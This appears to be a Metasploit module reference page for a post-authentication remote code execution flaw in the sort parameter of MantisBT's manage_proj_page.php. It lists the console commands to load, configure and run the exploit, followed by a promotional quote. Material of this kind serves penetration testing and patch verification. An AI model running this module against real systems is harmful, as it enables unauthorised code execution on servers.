Mantis v1.1.3 and earlier are vulnerable to a post-authentication Remote Code Execution vulnerability in the sort parameter of the manage_proj_page.php page.
PHP
php
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/mantisbt_manage_proj_page_rce
msf exploit(mantisbt_manage_proj_page_rce) > show targets
...targets...
msf exploit(mantisbt_manage_proj_page_rce) > set TARGET < target-id >
msf exploit(mantisbt_manage_proj_page_rce) > show options
...show and set options...
msf exploit(mantisbt_manage_proj_page_rce) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security